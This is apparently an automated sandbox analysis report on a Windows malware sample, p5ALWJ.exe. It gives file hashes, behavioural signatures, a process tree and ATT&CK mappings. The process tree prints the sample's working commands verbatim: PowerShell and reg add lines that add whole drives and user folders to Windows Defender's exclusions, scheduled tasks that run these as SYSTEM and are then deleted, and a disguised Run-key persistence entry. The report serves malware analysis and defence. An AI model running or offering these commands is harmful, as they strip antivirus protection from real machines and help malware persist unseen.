Analysis
- max time kernel
149s - max time network
108s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/07/2026, 10:27
Static task
static1
Behavioral task
behavioral1
Sample
shaxiang/UxEnhance64.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
shaxiang/UxEnhance64.dll
Resource
win11ltsc2024-20260629-en
Behavioral task
behavioral3
Sample
shaxiang/p5ALWJ.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
shaxiang/p5ALWJ.exe
Resource
win11ltsc2024-20260629-en
General
- Target shaxiang/p5ALWJ.exe
- Size 135KB
- Sample260703-mg9pyact8l
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\shaxiang = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5272 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\shaxiang\\p5ALWJ.exe\"" p5ALWJ.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3712 cmd.exe 4224 cmd.exe 5152 cmd.exe 1728 cmd.exe 2420 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b p5ALWJ.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files (x86)\A5K0ai\WtNZAe.exe p5ALWJ.exe File created C:\Program Files (x86)\A5K0ai\XPSPLOG.dll p5ALWJ.exe File created C:\Program Files (x86)\A5K0ai\image.png p5ALWJ.exe File opened for modification C:\Program Files (x86)\A5K0ai p5ALWJ.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2056 schtasks.exe 1764 schtasks.exe 5732 schtasks.exe 260 schtasks.exe 5380 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe 4144 p5ALWJ.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 5272 powershell.exe Token: SeIncreaseQuotaPrivilege 5272 powershell.exe Token: SeSecurityPrivilege 5272 powershell.exe Token: SeTakeOwnershipPrivilege 5272 powershell.exe Token: SeLoadDriverPrivilege 5272 powershell.exe Token: SeSystemProfilePrivilege 5272 powershell.exe Token: SeSystemtimePrivilege 5272 powershell.exe Token: SeProfSingleProcessPrivilege 5272 powershell.exe Token: SeIncBasePriorityPrivilege 5272 powershell.exe Token: SeCreatePagefilePrivilege 5272 powershell.exe Token: SeBackupPrivilege 5272 powershell.exe Token: SeRestorePrivilege 5272 powershell.exe Token: SeShutdownPrivilege 5272 powershell.exe Token: SeDebugPrivilege 5272 powershell.exe Token: SeSystemEnvironmentPrivilege 5272 powershell.exe Token: SeRemoteShutdownPrivilege 5272 powershell.exe Token: SeUndockPrivilege 5272 powershell.exe Token: SeManageVolumePrivilege 5272 powershell.exe Token: 33 5272 powershell.exe Token: 34 5272 powershell.exe Token: 35 5272 powershell.exe Token: 36 5272 powershell.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4144 wrote to memory of 5272 4144 p5ALWJ.exe 88 PID 4144 wrote to memory of 5152 4144 p5ALWJ.exe 90 PID 5152 wrote to memory of 2056 5152 cmd.exe 92 PID 5152 wrote to memory of 1716 5152 cmd.exe 93 PID 5152 wrote to memory of 3004 5152 cmd.exe 95 PID 4144 wrote to memory of 1728 4144 p5ALWJ.exe 100 PID 1728 wrote to memory of 1764 1728 cmd.exe 102 PID 1728 wrote to memory of 3616 1728 cmd.exe 103 PID 4144 wrote to memory of 2420 4144 p5ALWJ.exe 105 PID 1728 wrote to memory of 4196 1728 cmd.exe 107 PID 2420 wrote to memory of 5732 2420 cmd.exe 108 PID 4144 wrote to memory of 3712 4144 p5ALWJ.exe 109 PID 2420 wrote to memory of 4976 2420 cmd.exe 111 PID 3712 wrote to memory of 260 3712 cmd.exe 113 PID 2420 wrote to memory of 4836 2420 cmd.exe 114 PID 3712 wrote to memory of 5288 3712 cmd.exe 115 PID 3712 wrote to memory of 1180 3712 cmd.exe 116 PID 4144 wrote to memory of 4224 4144 p5ALWJ.exe 120 PID 4224 wrote to memory of 5380 4224 cmd.exe 122 PID 4224 wrote to memory of 5916 4224 cmd.exe 123 PID 4224 wrote to memory of 1800 4224 cmd.exe 125 PID 4840 wrote to memory of 2104 4840 cmd.exe 128 PID 2444 wrote to memory of 5836 2444 cmd.exe 129 PID 5816 wrote to memory of 6004 5816 cmd.exe 130 PID 108 wrote to memory of 5032 108 cmd.exe 131 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"1⤵
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\shaxiang\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5152 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\shaxiang\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2056
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1716
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1764
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3616
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5732
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4976
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3712 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:260
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5288
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1180
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4224 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5380
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5916
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1800
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\shaxiang" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:5816 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\shaxiang" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:6004
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C:\Windows\System32\cmd.execmd.exe1⤵PID:3748
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C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"C:\Users\Admin\AppData\Local\Temp\shaxiang\p5ALWJ.exe"1⤵PID:1016
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2104
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:108 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5032
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5836
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
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